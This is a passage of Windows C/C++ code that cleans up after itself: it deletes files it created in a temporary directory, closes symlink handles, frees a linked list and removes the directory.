UpdateFilesListCurrent = UpdateFilesList; while(UpdateFilesListCurrent) { if (UpdateFilesListCurrent->filecreated) { wchar_t filetodel[MAX_PATH] = { 0 }; wcscpy(filetodel, dirtoclean); wcscat(filetodel, L"\\"); MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t)); DeleteFile(filetodel); } if (UpdateFilesListCurrent->hsymlink) { CloseHandle(UpdateFilesListCurrent->hsymlink); UpdateFilesListCurrent->hsymlink = NULL; } UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent; UpdateFilesListCurrent = UpdateFilesListCurrent->next; free(UpdateFilesListOld); } RemoveDirectory(dirtoclean); } return 0; }